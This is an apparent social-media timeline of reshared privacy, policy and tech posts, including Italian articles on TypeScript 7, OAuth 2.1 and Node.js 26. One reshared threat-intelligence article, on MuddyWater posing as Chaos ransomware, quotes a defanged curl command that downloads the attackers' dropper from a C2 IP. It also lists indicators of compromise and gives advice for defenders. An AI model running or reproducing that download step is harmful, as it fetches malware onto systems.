The Privacy Post ha ricondiviso questo.

The media in this post is not displayed to visitors. To view it, please go to the original post.

New Ivanti EPMM Zero-Day CVE-2026-6973 Actively Exploited — Patch Immediately
#CyberSecurity
securebulletin.com/new-ivanti-…
The Privacy Post ha ricondiviso questo.

The media in this post is not displayed to visitors. To view it, please go to the original post.

Dirty Frag: New Linux Kernel Vulnerability Chains Two Flaws to Grant Root Privileges — Public PoC Released
#CyberSecurity
securebulletin.com/dirty-frag-…
The Privacy Post ha ricondiviso questo.

The media in this post is not displayed to visitors. To view it, please go to the original post.

👀 #LinkedIn trackt Besuche auf Profilseiten. Wer sehen will, wer das eigene Profil besucht hat, muss aber bezahlen. 💸 Nun haben wir Beschwerde gegen das Unternehmen eingereicht und schlagen die Verhängung einer Geldbuße vor.

Lies mehr darüber: diepresse.com/22034698/noyb-br…

Questa voce è stata modificata (1 mese fa)

reshared this

The Privacy Post ha ricondiviso questo.

Digitale Zahlungen sind auch eine soziale Frage. Die Soziologin Barbara Brandl hat untersucht, wie digitale Zahlungen Ungleichheit verstärken. Im Interview erklärt sie, wie dabei von unten nach oben umverteilt wird und was uns Beispiele aus anderen Ländern für den Digitalen Euro lehren.

netzpolitik.org/2026/digitales…

in reply to netzpolitik.org

Diesen Beitrag gibt es nur dank eurer Unterstützung. Denn wir sind spendenfinanziert.

👉 netzpolitik.org/spenden

The Privacy Post ha ricondiviso questo.

The media in this post is not displayed to visitors. To view it, please go to the original post.

Digital Omnibus meets the Charter of Fundamental Rights – a reality check

Organised by @noybeu
with Jennifer Baker (moderator), Herwig Hofmann, Alexandra Jaspar, @maxschrems @peterhense

More information: cpdp.be/124596

#CPDP2026 #CompetingVisionsSharedFutures #CPDPPanels

reshared this

The Privacy Post ha ricondiviso questo.

The media in this post is not displayed to visitors. To view it, please go to the original post.

Malicious DeepSeek-Claw AI Skill Delivers Remcos RAT and GhostLoader in Agentic AI Supply Chain Attack
#CyberSecurity
securebulletin.com/malicious-d…
The Privacy Post ha ricondiviso questo.

The media in this post is not displayed to visitors. To view it, please go to the original post.

Massive 2.45 Billion-Request DDoS Attack Uses 1.2 Million IPs to Defeat Rate Limiting in “Low and Slow” Campaign
#CyberSecurity
securebulletin.com/massive-2-4…
The Privacy Post ha ricondiviso questo.

The media in this post is not displayed to visitors. To view it, please go to the original post.

Critical Palo Alto PAN-OS Zero-Day CVE-2026-0300 Actively Exploited — Root Access Granted on 5,800+ Exposed Firewalls
#CyberSecurity
securebulletin.com/critical-pa…
The Privacy Post ha ricondiviso questo.

The media in this post is not displayed to visitors. To view it, please go to the original post.

TypeScript 7 Beta abilitato di default in Visual Studio 2026: guida pratica
#tech
spcnet.it/typescript-7-beta-ab…
@informatica


TypeScript 7 Beta abilitato di default in Visual Studio 2026: guida pratica


Con la terza preview di Visual Studio 2026 18.6 Insiders, Microsoft ha compiuto un passo importante: il compilatore integrato di TypeScript è stato aggiornato a TypeScript 7 Beta (native preview). Per tutti gli sviluppatori che usano Visual Studio con progetti TypeScript o JavaScript — compresi i progetti ASP.NET Core con pacchetti npm — questo cambiamento è già attivo e vale la pena capire cosa comporta.

Cos’è il compilatore nativo di TypeScript 7?


TypeScript 7 è un porting nativo del compilatore TypeScript, riscritto in Go. Questo porta l’esecuzione nativa e il parallelismo a memoria condivisa al compilatore e al language service TypeScript. I risultati misurati parlano di:

  • Fino a 10x più veloce per la compilazione di codebase di grandi dimensioni.
  • Riduzione significativa dell’uso di memoria rispetto al compilatore precedente.
  • Caricamento dei progetti circa 8x più rapido all’apertura in Visual Studio.

Se lavori con progetti TypeScript o JavaScript di grandi dimensioni, noterai miglioramenti concreti su tutta l’esperienza di sviluppo.

Quali funzionalità di Visual Studio beneficiano di TypeScript 7?


Il language service TypeScript aggiornato migliora direttamente molte funzionalità dell’IDE:

  • IntelliSense e completamenti. I suggerimenti di codice e le informazioni sui parametri appaiono più velocemente, soprattutto nei progetti grandi dove in precedenza si notava un ritardo.
  • Find All References. La ricerca di riferimenti nell’intera soluzione è significativamente più rapida.
  • Go to Definition. La navigazione alle definizioni è più reattiva.
  • Diagnostica degli errori. Le sottolineature rosse e la lista degli errori si aggiornano più rapidamente mentre si scrive.
  • Tempi di caricamento dei progetti. L’apertura di progetti TypeScript e JavaScript è notevolmente più veloce, con tempi ridotti di circa 8x.


Come controllare quale versione di TypeScript usa Visual Studio


Visual Studio usa il compilatore TypeScript integrato solo quando il progetto non specifica una versione locale. Se nel tuo progetto è installato TypeScript tramite npm, Visual Studio userà automaticamente quella versione invece di quella integrata.

Disabilitare la native preview di TypeScript 7


Se preferisci tornare al language service precedente, puoi disabilitare la native preview in Visual Studio. Vai in Strumenti > Opzioni > Funzionalità di anteprima e cerca “native preview”. Deseleziona l’opzione Enable JavaScript/TypeScript Native Language Service Preview e riavvia Visual Studio.

Usare TypeScript 6.x (GA)


Per usare la release stabile corrente, installa il pacchetto typescript nel tuo progetto:

npm install -D typescript@^6.0.0


Visual Studio rileverà la versione nella cartella node_modules e utilizzerà quella invece del compilatore integrato.

Fissare una versione specifica della native preview


Se vuoi usare esplicitamente la native preview ma fissare una versione specifica, installa il pacchetto @typescript/native-preview:

npm install -D @typescript/native-preview@beta


Problemi noti (e come aggirarli)


TypeScript 7 porta miglioramenti significativi, ma il team Microsoft è ancora al lavoro per raggiungere la parità completa di funzionalità con il compilatore precedente. Ecco i problemi noti più rilevanti per il lavoro quotidiano:

  • IntelliSense. In alcuni casi i completamenti potrebbero non apparire. Nei file .cshtml, l’elenco dei completamenti potrebbe non apparire all’interno di un tag <script>. Premere Ctrl+Space può aggirare il problema.
  • Azioni codice e refactoring. Le correzioni rapide (Ctrl+.) non sono ancora disponibili. Il comando Organize Imports (Ctrl+R, Ctrl+G) non è disponibile.
  • Navigazione e ricerca. I dropdown della barra di navigazione in cima all’editor non mostrano i simboli del documento. Find All References (Shift+F12) mostra una lista piatta senza raggruppamento semantico.
  • CodeLens. I contatori di riferimenti (es. “19 references”) non appaiono sopra le dichiarazioni di interfacce e classi.
  • Rinomina file. Rinominare un file o una cartella in un progetto TypeScript non aggiorna in modo consistente i percorsi di import negli altri file.
  • File watching. Quando i file vengono modificati fuori da Visual Studio, le modifiche non vengono rilevate finché il file non viene aperto e modificato nell’IDE.


Come riportare feedback


Se riscontri problemi con il compilatore o il language service TypeScript 7, il posto migliore per segnalarli è il repository GitHub typescript-go.

Per problemi specifici di Visual Studio, usa Developer Community per segnalare bug o suggerire miglioramenti.

Quando aggiornare?


Se lavori su progetti TypeScript/JavaScript di grandi dimensioni in Visual Studio, i guadagni di performance giustificano la prova della native preview già ora, accettando i problemi noti. Per progetti più piccoli o in produzione dove la stabilità è critica, è ragionevole aspettare il rilascio stabile di TypeScript 7 o fissare esplicitamente la versione 6.x nel progetto.

In ogni caso, il messaggio è chiaro: la direzione di Microsoft è verso un TypeScript nativo, più veloce e meno esigente in termini di risorse. Vale la pena familiarizzare ora con le nuove opzioni di configurazione.


Fonte: TypeScript 7 Beta Now Enabled by Default in Visual Studio 2026 18.6 Insiders 3 di Sayed Ibrahim Hashimi (Visual Studio Blog)


The Privacy Post ha ricondiviso questo.

The media in this post is not displayed to visitors. To view it, please go to the original post.

Vercel Data Breach: ShinyHunters Exploit OAuth Supply Chain Attack to Steal Customer Credentials for $2M Sale
#CyberSecurity
securebulletin.com/vercel-data…
The Privacy Post ha ricondiviso questo.

The media in this post is not displayed to visitors. To view it, please go to the original post.

OAuth 2.1 spiegato semplicemente: i tre flussi che coprono ogni scenario
#tech
spcnet.it/oauth-2-1-spiegato-s…
@informatica


OAuth 2.1 spiegato semplicemente: i tre flussi che coprono ogni scenario


OAuth 2.0 è stato a lungo sinonimo di complessità: sei grant type diversi, tutorial spesso contraddittori, e sviluppatori che finivano per scegliere il flusso sbagliato e pubblicare applicazioni insicure. Nel 2026 questo scenario appartiene al passato. OAuth 2.1 ha fatto ciò che la community chiedeva da anni: ha eliminato i flussi pericolosi, ha reso PKCE obbligatorio su ogni grant di autorizzazione, e ha lasciato una specifica molto più facile da imparare e quasi impossibile da usare in modo scorretto.

Se state sviluppando con .NET 10, questo articolo copre tutto ciò che dovete sapere. Tre flussi. Cinque secondi per scegliere quello giusto. Partiamo.

Il problema con OAuth 2.0


OAuth 2.0 nacque con una buona intenzione: delegare l’autorizzazione senza condividere le credenziali. Ma la specifica era così flessibile da includere flussi profondi (come l’Implicit Flow per le SPA) che erano già problematici nel 2012 e sono diventati veri e propri anti-pattern con l’evoluzione del web. Il risultato? Anni di articoli in conflitto, sviluppatori confusi, e vulnerabilità di sicurezza difficili da rilevare in code review.

OAuth 2.1 risolve questo alla radice: mantiene quello che funziona, rimuove quello che è pericoloso, e consolida le best practice nel testo normativo stesso.

Flusso 1: Client Credentials — comunicazione machine-to-machine


Quando nessun utente umano è coinvolto nella comunicazione, si usa il flusso Client Credentials. Esempi tipici:

  • Un job notturno che interroga un’API di reportistica
  • Un microservizio di spedizione che notifica il microservizio di inventario
  • Un worker in background che elabora una coda di messaggi
  • Un’API interna che chiama un altro servizio interno

In questi scenari, è il servizio stesso ad essere l’identità — agisce per proprio conto, non per conto di un utente. Il flusso è diretto e senza reindirizzamenti browser:

  1. Il servizio invia le proprie credenziali al token service via HTTP POST
  2. Il token service verifica l’identità e restituisce un access token
  3. Il servizio usa il token per chiamare le API target


// .NET 10 — richiesta di un token Client Credentials con IdentityModel
var client = new HttpClient();
var response = await client.RequestClientCredentialsTokenAsync(
    new ClientCredentialsTokenRequest
    {
        Address = "https://identity.example.com/connect/token",
        ClientId = "service-a",
        ClientSecret = "segreto-sicuro",
        Scope = "api1.read api1.write"
    });

var accessToken = response.AccessToken;
// Usa accessToken nell'Authorization header delle chiamate successive


OAuth 2.1 supporta tre meccanismi di autenticazione del client, in ordine crescente di sicurezza:
  • Client secret: client_id e client_secret nell’header Basic o nel body — semplice ma richiede una buona gestione dei segreti
  • private_key_jwt: il client firma un JWT con la propria chiave privata; il token service valida la firma con la chiave pubblica registrata
  • Mutual TLS (mTLS): autenticazione al livello di trasporto con certificati X.509 — massima sicurezza per ambienti ad alto rischio


Flusso 2: Authorization Code + PKCE — applicazioni con utente


Se un essere umano deve autenticarsi, questa è la risposta universale. Che si tratti di un’app Razor Pages server-side, un’app mobile nativa, un’applicazione desktop o una SPA dietro un Backend-for-Frontend, Authorization Code con PKCE è il flusso corretto in OAuth 2.1 — senza eccezioni.

Come funziona


  1. L’applicazione reindirizza l’utente all’authorization endpoint del provider di identità
  2. L’utente si autentica (password, MFA, policy aziendali)
  3. Il provider reindirizza l’utente all’applicazione con un authorization code di breve durata
  4. L’applicazione scambia il codice per i token tramite una chiamata back-channel diretta

Le credenziali dell’utente non toccano mai l’applicazione. I token non transitano mai attraverso la barra degli indirizzi del browser.

PKCE: protezione contro l’intercettazione del codice


PKCE (Proof Key for Code Exchange, pronunciato “pixie”) aggiunge uno strato critico di protezione all’exchange del codice. Prima di avviare il flusso, l’applicazione:

  1. Genera una stringa casuale (code_verifier)
  2. Calcola il suo hash SHA-256 (code_challenge)
  3. Invia il code_challenge nella richiesta di autorizzazione

Quando poi scambia il codice per i token, invia il code_verifier originale. Il token service verifica che l’hash corrisponda alla challenge registrata. Un attaccante che intercetta l’authorization code — attraverso un’app malevola sullo stesso custom URI scheme, un redirect compromesso, o qualsiasi altro vettore — non può usarlo senza il code_verifier. Il codice è inutile senza di esso.

// .NET 10 — configurazione OIDC con Authorization Code + PKCE
builder.Services
    .AddAuthentication(options =>
    {
        options.DefaultScheme = "cookie";
        options.DefaultChallengeScheme = "oidc";
    })
    .AddCookie("cookie")
    .AddOpenIdConnect("oidc", options =>
    {
        options.Authority = "https://identity.example.com";
        options.ClientId = "web-app";
        options.ClientSecret = "segreto-sicuro";
        options.ResponseType = "code";       // Authorization Code Flow
        options.UsePkce = true;              // PKCE (abilitato di default in .NET)
        options.SaveTokens = true;
        options.Scope.Add("openid");
        options.Scope.Add("profile");
        options.Scope.Add("api1.read");
    });


Nota importante sulle SPA: le best practice correnti raccomandano di non esporre token al codice JavaScript lato client. Le SPA dovrebbero usare il pattern Backend-for-Frontend (BFF), dove è il server a gestire il flusso OIDC e a esporre solo cookie di sessione al browser.

Flusso 3: Device Authorization — dispositivi senza browser


Alcuni dispositivi non hanno un browser o una tastiera utilizzabile: smart TV, console di gioco, sensori IoT, strumenti CLI in ambienti headless. Non si può reindirizzare un utente a una pagina di login che non esiste.

Il flusso Device Authorization (RFC 8628) risolve questo con un pattern disaccoppiato:

  1. Il dispositivo richiede un codice utente e un URL di verifica al token service
  2. Il dispositivo mostra all’utente qualcosa come: “Vai su login.example.com/device e inserisci il codice: ABCD-1234”
  3. L’utente prende il proprio telefono o laptop, naviga all’URL, inserisce il codice e si autentica normalmente
  4. Nel frattempo, il dispositivo fa polling al token endpoint a intervalli regolari
  5. Quando l’utente completa l’autenticazione, il dispositivo riceve l’access token

È semplice, sicuro, e non richiede al dispositivo vincolato di rendere un’interfaccia di login.

L’albero decisionale di OAuth 2.1


Scegliere il flusso corretto richiede esattamente due domande:

  1. È coinvolto un utente umano?No → Client Credentials
    • Sì → vai al punto 2


  2. Il dispositivo ha un browser?Sì → Authorization Code + PKCE
    • No → Device Authorization


Questo è l’intero albero decisionale. Niente eccezioni. Niente casi speciali (a parte scenari legacy di migrazione).

Cosa ha rimosso OAuth 2.1 e perché


Tre flussi di OAuth 2.0 sono stati eliminati dallo standard. Non è necessario impararli per le nuove applicazioni, ma capire perché sono stati rimossi aiuta a riconoscerli se ci si imbatte in codice datato:

  • Implicit Flow: era nato per le SPA in un’epoca in cui i browser non supportavano chiamate cross-origin POST. Restituiva i token direttamente nel fragment dell’URL, rendendoli visibili nella history del browser, nelle intestazioni referer e nei log del server. Con il supporto universale di CORS, la sua ragion d’essere è svanita.
  • Resource Owner Password Credentials (ROPC): chiedeva agli utenti di digitare username e password direttamente nell’applicazione client — vanificando l’intero scopo di OAuth. Non supportava MFA o login federato, e abituava gli utenti a consegnare le proprie credenziali ad app che non avrebbero dovuto averle.
  • Authorization Code senza PKCE: funzionava sulle app server-side, ma su piattaforme mobile più applicazioni possono registrarsi sullo stesso URI scheme personalizzato. Un’app malevola poteva intercettare l’authorization code e scambiarlo per token. Con PKCE obbligatorio, il codice intercettato diventa inutile.


Conclusioni


OAuth 2.1 è il protocollo di autorizzazione che avremmo voluto avere dal principio: tre flussi chiari, PKCE obbligatorio, nessuna ambiguità nella scelta. Per chi sviluppa in .NET 10, l’ecosistema è già allineato — le librerie come Duende IdentityServer e IdentityModel implementano questi pattern nativamente. Il passo successivo è una revisione del codice esistente per identificare eventuali flussi legacy da migrare.

Fonte: OAuth 2.1 Made Simple: The Only Flows You Need — Khalid Abuhakmeh, Duende Software, 6 maggio 2026


The Privacy Post ha ricondiviso questo.

Die EU will die KI-Verordnung aufweichen. Eine erste Einigung sieht nun vor, bestimmte Regulierungen für die Industrie abzuschwächen und zeitlich deutlich nach hinten zu verschieben. Hinzugekommen ist ein Verbot von KI-Anwendungen, mit denen sexualisierte Deepfakes erstellt werden können.

netzpolitik.org/2026/ki-verord…

The Privacy Post ha ricondiviso questo.

The media in this post is not displayed to visitors. To view it, please go to the original post.

The media in this post is not displayed to visitors. To view it, please go to the original post.

MuddyWater usa il ransomware Chaos come falsa bandiera: l’Iran maschera lo spionaggio di Stato da cybercrime
#CyberSecurity
insicurezzadigitale.com/muddyw…


MuddyWater usa il ransomware Chaos come falsa bandiera: l’Iran maschera lo spionaggio di Stato da cybercrime


Si parla di:
Toggle

Un’operazione di cyberspionaggio tra le più sofisticate degli ultimi anni si è celata dietro la maschera di un comune attacco ransomware. Rapid7 ha documentato come MuddyWater — il gruppo APT affiliato al Ministero dell’Intelligence e della Sicurezza iraniano (MOIS) — abbia utilizzato Microsoft Teams per rubare credenziali, manipolare l’autenticazione a più fattori e stabilire persistenza a lungo termine all’interno di reti occidentali. Il ransomware Chaos? Solo un’esca per confondere le acque dell’attribuzione.

Il gruppo MuddyWater: identità e contesto operativo


MuddyWater (noto anche come Mango Sandstorm, Seedworm e Static Kitten) è un attore state-sponsored attivo almeno dal 2017, attribuito con alta confidenza al MOIS iraniano. Il gruppo si distingue per la predilezione verso tecniche di social engineering avanzato, l’abuso di strumenti legittimi di accesso remoto e campagne mirate principalmente verso organizzazioni governative, di difesa e infrastrutture critiche in Medio Oriente, Europa e Nord America.

In passato, MuddyWater ha utilizzato tool come SimpleHelp, ScreenConnect e AnyDesk per mantenere la persistenza sulle reti compromesse. La novità emersa dall’incidente analizzato da Rapid7 all’inizio del 2026 è l’utilizzo di Microsoft Teams come vettore di ingresso iniziale — un’evoluzione tattica che riflette l’adattamento del gruppo alle piattaforme di collaborazione aziendale ormai ubique nelle organizzazioni bersaglio.

La falsa bandiera: cos’è il ransomware Chaos


Il ransomware Chaos è una operazione RaaS (Ransomware-as-a-Service) attiva dal febbraio 2025, probabilmente composta da ex membri dei gruppi BlackSuit e Royal dopo lo smantellamento durante l’Operazione Checkmate nel luglio 2025. Il gruppo Chaos adotta tattiche di “big-game hunting”, con richieste di riscatto fino a 300.000 dollari, e ha rivendicato 36 vittime fino a fine marzo 2026, concentrandosi principalmente su aziende statunitensi nei settori edile, manifatturiero e dei servizi.

La caratteristica che ha indotto MuddyWater a scegliere Chaos come copertura è la tecnica di accesso iniziale del gruppo criminale: spam massivo di email combinato con vishing (voice phishing) e successiva richiesta di accesso remoto tramite Microsoft Quick Assist o Teams — un modus operandi che MuddyWater ha potuto replicare fedelmente per non destare sospetti.

La catena di attacco: dal social engineering alla persistenza silenziosa


L’intrusione analizzata da Rapid7 si è articolata in fasi distinte, tutte condotte attraverso canali legittimi per minimizzare il rilevamento. Nella prima fase, gli attaccanti hanno contattato dipendenti attraverso richieste di chat esterne su Microsoft Teams, impersonando personale IT. Durante sessioni interattive di screen-sharing, hanno raccolto credenziali e manipolato il processo di MFA. Una volta ottenute credenziali valide, il threat actor si è mosso lateralmente usando account interni legittimi, installando poi DWAgent e AnyDesk per garantirsi canali di accesso persistente.

La fase successiva ha visto il download del dropper principale tramite RDP:

curl hxxp[://]172.86.126[.]208:443/ms_upd.exe -o C:\ProgramData\ms_upd.exe

Il dropper ms_upd.exe si connette al server C2 moonzonet[.]com via richieste /register e /check, scaricando poi tre componenti: WebView2Loader.dll (SHA256: a47cd0dc12f0152d8f05b79e5c86bac9231f621db7b0e90a32f87b98b4e82f3a), il RAT principale Game.exe (SHA256: 1319d474d19eb386841732c728acf0c5fe64aa135101c6ceee1bd0369ecf97b6) e il file di configurazione cifrata visualwincomp.txt (SHA256: c86ab27100f2a2939ac0d4a8af511f0a1a8116ba856100aae03bc2ad6cb0f1e0).

Il RAT Game.exe: analisi tecnica


Game.exe è un Remote Access Trojan che si maschera da applicazione Microsoft WebView2 legittima. Il PDB path rivela l’ambiente di sviluppo: C:\Users\pc\Downloads\WebView2Samples-main\SampleApps\WebView2APISample\Release\x64\WebView2APISample.pdb. Significativamente, il RAT non implementa alcuna forma di offuscamento — le importazioni API sono risolte staticamente e le stringhe sono in chiaro — il che suggerisce uno strumento sviluppato per deployment limitato e monouso. Al momento del report di Rapid7, solo due campioni erano stati osservati in repository pubblici.

L’attribuzione: il “tell” nel certificato di firma


Il collegamento a MuddyWater emerge da un artefatto tecnico specifico: il certificato di firma del codice intestato a “Donald Gay”, precedentemente utilizzato dal gruppo per firmare il downloader CastleLoader (noto come Fakeset). La sovrapposizione dell’infrastruttura C2 e il tradecraft operativo confermano l’attribuzione con confidenza moderata. La scelta di non cifrare alcun file — deviando dal playbook standard di Chaos — è il segnale più chiaro della vera natura dell’operazione: l’obiettivo non era l’estorsione finanziaria, ma l’esfiltrazione di dati e il prepositioning a lungo termine nelle reti compromesse.

La convergenza tra APT e cybercrime: una tendenza sistemica


Questo incidente si inserisce in una tendenza documentata: i gruppi APT state-sponsored stanno deliberatamente adottando le TTP del cybercrime organizzato per offuscare l’attribuzione. Replicando le tecniche dei RaaS o acquistando accesso alle loro infrastrutture, attori come MuddyWater possono far apparire operazioni di spionaggio geopolitico come semplici attacchi a scopo di lucro, complicando la risposta diplomatica e legale. Il caso Chaos/MuddyWater è solo l’esempio più recente di questa convergenza, che era già emersa con attori nordcoreani (Lazarus) e russi (Sandworm) in operazioni precedenti.

Indicatori di Compromissione (IoC)

# Hash - WebView2Loader.dll (legittimo DLL trojanizzato)
SHA256: a47cd0dc12f0152d8f05b79e5c86bac9231f621db7b0e90a32f87b98b4e82f3a

# Hash - Game.exe (RAT principale)
SHA256: 1319d474d19eb386841732c728acf0c5fe64aa135101c6ceee1bd0369ecf97b6

# Hash - visualwincomp.txt (configurazione cifrata)
SHA256: c86ab27100f2a2939ac0d4a8af511f0a1a8116ba856100aae03bc2ad6cb0f1e0

# C2 IP
172.86.126[.]208:443

# C2 Dominio
moonzonet[.]com

# Strumenti di persistenza
DWAgent, AnyDesk

# Path dropper
C:\ProgramData\ms_upd.exe

Due righe per i difensori


  • Limitare le chat esterne su Microsoft Teams: bloccare o richiedere approvazione esplicita per le chat provenienti da tenant esterni non trusted.
  • Monitorare sessioni di screen-sharing anomale: alertare su sessioni avviate da contatti esterni non verificati, specialmente se combinano condivisione schermo e richieste di credenziali.
  • Audit degli strumenti di accesso remoto: inventariare DWAgent, AnyDesk e simili; bloccare installazioni non approvate tramite policy di endpoint management.
  • MFA phishing-resistant: passare da TOTP/SMS a FIDO2/passkey per eliminare la superficie di attacco della manipolazione MFA via social engineering.
  • Non fermarsi all’etichetta ransomware: in caso di attacco ransomware senza cifratura o con anomalie comportamentali, considerare sempre la possibilità di una false flag operation state-sponsored.


The Privacy Post ha ricondiviso questo.

Wann setzt Europa seine Digitalgesetze gegen Tech-Konzerne durch? Die EU-Kommission knickt ein, fürchten Abgeordnete und Vertreter:innen der Zivilgesellschaft. Nun wollen sie Kommissionspräsidentin Ursula von der Leyen Beine machen. netzpolitik.org/2026/verfahren…
The Privacy Post ha ricondiviso questo.

🏆 Nominate the #FreeSoftware Contributor of the Year🏆🏆
The 2026 European SFS Award Nomination is opened! Submit your nominations by 25 May 2026! cloud.opendatahub.com/index.ph…

The European SFS Award, by the Linux User Group Bolzano-Bozen (#LUGBZ) and with the collaboration of the FSFE, recognises individuals whose work has made a significant and sustained difference in advancing Free Software across Europe.

More info: sfscon.it/award-nomination/

Questa voce è stata modificata (1 mese fa)

reshared this

The Privacy Post ha ricondiviso questo.

The media in this post is not displayed to visitors. To view it, please go to the original post.

Node.js 26.0.0: Temporal API di default, V8 14.6 e rimozione delle API legacy
#tech
spcnet.it/node-js-26-0-0-tempo…
@informatica


Node.js 26.0.0: Temporal API di default, V8 14.6 e rimozione delle API legacy


Il 5 maggio 2026 il team di Node.js ha rilasciato la versione 26.0.0, denominata “Current”, che introduce cambiamenti significativi alla piattaforma runtime JavaScript server-side più diffusa al mondo. Node.js 26 entrerà in Long-Term Support (LTS) nell’ottobre 2026: da quel momento sarà la release raccomandata per ambienti di produzione. Nel frattempo, i sei mesi di status “Current” sono il momento ideale per esplorare le novità e valutare l’impatto sulle proprie applicazioni.

Temporal API abilitata di default


La novità più attesa di Node.js 26 è l’abilitazione di default della Temporal API, la moderna API JavaScript per la gestione di date e orari. Per anni, la community ha convissuto con i limiti dell’oggetto Date: mancanza di supporto per i fusi orari, comportamenti incoerenti, mutabilità non controllata, e risultati controintuitivi in molti scenari di internazionalizzazione.

Temporal risolve tutti questi problemi alla radice, introducendo un sistema di tipi ricco e immutabile:

  • Temporal.PlainDate: una data senza orario né fuso orario
  • Temporal.PlainTime: un orario senza data né fuso orario
  • Temporal.PlainDateTime: data e orario senza fuso orario
  • Temporal.ZonedDateTime: data e orario con fuso orario esplicito
  • Temporal.Instant: un momento preciso nel tempo (come un timestamp Unix)
  • Temporal.Duration: un intervallo di tempo

Ecco un esempio pratico di come Temporal semplifica operazioni che con Date richiedevano librerie esterne come Luxon o date-fns:

// Ottenere la data di oggi in un fuso orario specifico
const oggi = Temporal.Now.plainDateISO('Europe/Rome');
console.log(oggi.toString()); // "2026-05-07"

// Aggiungere 30 giorni senza preoccuparsi dei mesi
const traThentaGiorni = oggi.add({ days: 30 });
console.log(traThentaGiorni.toString()); // "2026-06-06"

// Calcolare la differenza tra due date
const inizio = Temporal.PlainDate.from('2026-01-01');
const fine = Temporal.PlainDate.from('2026-12-31');
const differenza = inizio.until(fine);
console.log(differenza.days); // 364

// Lavorare con fusi orari in modo esplicito
const appuntamento = Temporal.ZonedDateTime.from({
  year: 2026,
  month: 5,
  day: 15,
  hour: 14,
  minute: 30,
  timeZone: 'America/New_York'
});
const inRoma = appuntamento.withTimeZone('Europe/Rome');
console.log(inRoma.toLocaleString('it-IT'));

Fino a Node.js 25, Temporal era disponibile ma richiedeva il flag --harmony-temporal. Ora è parte integrante del runtime e non serve alcuna configurazione aggiuntiva.

V8 14.6: due nuove proposte TC39


Il motore JavaScript V8 è stato aggiornato alla versione 14.6.202.33 (Chromium 146), portando con sé due importanti proposte TC39 ora disponibili nativamente:

Upsert: Map.prototype.getOrInsert()


La proposta Upsert introduce i metodi getOrInsert() e getOrInsertComputed() su Map e WeakMap. Si tratta di un pattern molto comune nello sviluppo: controllare se una chiave esiste in una mappa, e se non esiste, inserire un valore di default e restituirlo.

// Prima di Node.js 26 - verboso e ripetitivo
function getOrCreate(map, key, defaultValue) {
  if (!map.has(key)) {
    map.set(key, defaultValue);
  }
  return map.get(key);
}

const cache = new Map();
const utenti = getOrCreate(cache, 'admin', []);
utenti.push('mario');

// Con Node.js 26 - conciso e leggibile
const cache = new Map();
const utenti = cache.getOrInsert('admin', []);
utenti.push('mario');

// Versione con factory function (lazy initialization)
const grandi = cache.getOrInsertComputed('admin', (key) => {
  return recuperaUtentiDalDb(key); // calcolato solo se necessario
});

Iterator sequencing: Iterator.concat()


La proposta Iterator sequencing introduce Iterator.concat(), che permette di concatenare più iteratori senza materializzarli tutti in memoria contemporaneamente:

// Concatenare lazily più sorgenti di dati
const paginaUno = [1, 2, 3][Symbol.iterator]();
const paginaDue = [4, 5, 6][Symbol.iterator]();
const paginaTre = [7, 8, 9][Symbol.iterator]();

const tuttiGliElementi = Iterator.concat(paginaUno, paginaDue, paginaTre);
for (const elemento of tuttiGliElementi) {
  console.log(elemento); // 1, 2, 3, 4, 5, 6, 7, 8, 9
}

Undici 8.0: il client HTTP di nuova generazione


La libreria Undici, il client HTTP integrato in Node.js, è stata aggiornata alla versione 8.0.2. Undici è il motore dietro fetch() nativo in Node.js ed è progettato per prestazioni e correttezza del protocollo HTTP/1.1 e HTTP/2. La versione 8 porta miglioramenti all’implementazione di WebSocket, gestione delle connessioni e supporto per proxy avanzati.

Deprecazioni e rimozioni importanti


Come ogni major version, Node.js 26 rimuove API che erano state deprecate nelle versioni precedenti. Ecco le più impattanti:

Rimozione di http.Server.prototype.writeHeader()


Il metodo writeHeader() è stato definitivamente rimosso. Era già deprecato da anni: la forma corretta è writeHead().

// ❌ Non funziona più in Node.js 26
res.writeHeader(200, { 'Content-Type': 'application/json' });

// ✅ Forma corretta
res.writeHead(200, { 'Content-Type': 'application/json' });

Rimozione dei moduli legacy _stream_*


I moduli interni _stream_wrap, _stream_readable, _stream_writable, _stream_duplex, _stream_transform e _stream_passthrough sono stati rimossi definitivamente. Se li state importando direttamente (cosa sconsigliata ma ancora diffusa in codice datato), dovete migrare all’API pubblica:

// ❌ Non funziona più
const { Readable } = require('_stream_readable');

// ✅ Sempre corretto
const { Readable } = require('stream');
// o con ESM:
import { Readable } from 'node:stream';

Rimozione di –experimental-transform-types


Il flag --experimental-transform-types, che abilitava la trasformazione automatica dei tipi TypeScript a runtime, è stato rimosso. Per eseguire TypeScript in Node.js, la raccomandazione ufficiale rimane l’uso di --experimental-strip-types (disponibile dalla v22.6+) oppure di tool dedicati come tsx o ts-node.

Deprecazioni runtime


Diverse API passano ora a deprecazione a runtime, il che significa che genereranno un avviso quando utilizzate, senza però bloccare l’esecuzione:

  • module.register() — deprecato in favore di import.meta.url patterns
  • Alcune API crypto (DEP0203, DEP0204) legate a formati di chiavi obsoleti
  • Alcune API stream (DEP0201)


Come aggiornare


Per installare Node.js 26 tramite nvm:

nvm install 26
nvm use 26
node --version  # v26.0.0

Con fnm:
fnm install 26
fnm use 26

Prima di aggiornare i progetti in produzione, si raccomanda di:
  1. Verificare che tutte le dipendenze siano compatibili con Node.js 26 (controllate le note di release dei principali package)
  2. Cercare nel codice le API rimosse: writeHeader, _stream_*, --experimental-transform-types
  3. Testare il comportamento della Temporal API se il vostro codice ha workaround per Date
  4. Abilitare i log delle deprecazioni runtime con NODE_OPTIONS='--trace-deprecation'


Conclusioni


Node.js 26 è una release di maturazione: la Temporal API è finalmente pronta per la produzione, V8 14.6 porta proposte TC39 da lungo tempo attese, e le rimozioni puliscono la piattaforma dagli artefatti del passato. Per chi lavora su progetti Node.js, questo è il momento di iniziare i test su questa versione in vista dell’ingresso in LTS di ottobre 2026.

Fonte: Node.js 26.0.0 Release Notes — nodejs.org, 5 maggio 2026


The Privacy Post ha ricondiviso questo.

📊 Vor einem Jahr veröffentlichte das Max-Planck-Institut zur Erforschung von Kriminalität, Sicherheit und Recht die erste „Überwachungsgesamtrechnung“ – eine Analyse der Überwachungsbefugnisse und -maßnahmen der Sicherheits- und Strafverfolgungsbehörden in Deutschland.

Viele Behörden seien allerdings nicht in der Lage gewesen, belastbare Daten über die von ihnen durchgeführten Maßnahmen bereitzustellen – ein Umstand, der eine transparente Debatte erheblich erschwert.

🔗 csl.mpg.de/813252/ueberwachung…

in reply to Stiftung Datenschutz

📌 Doch was hat sich seitdem getan?

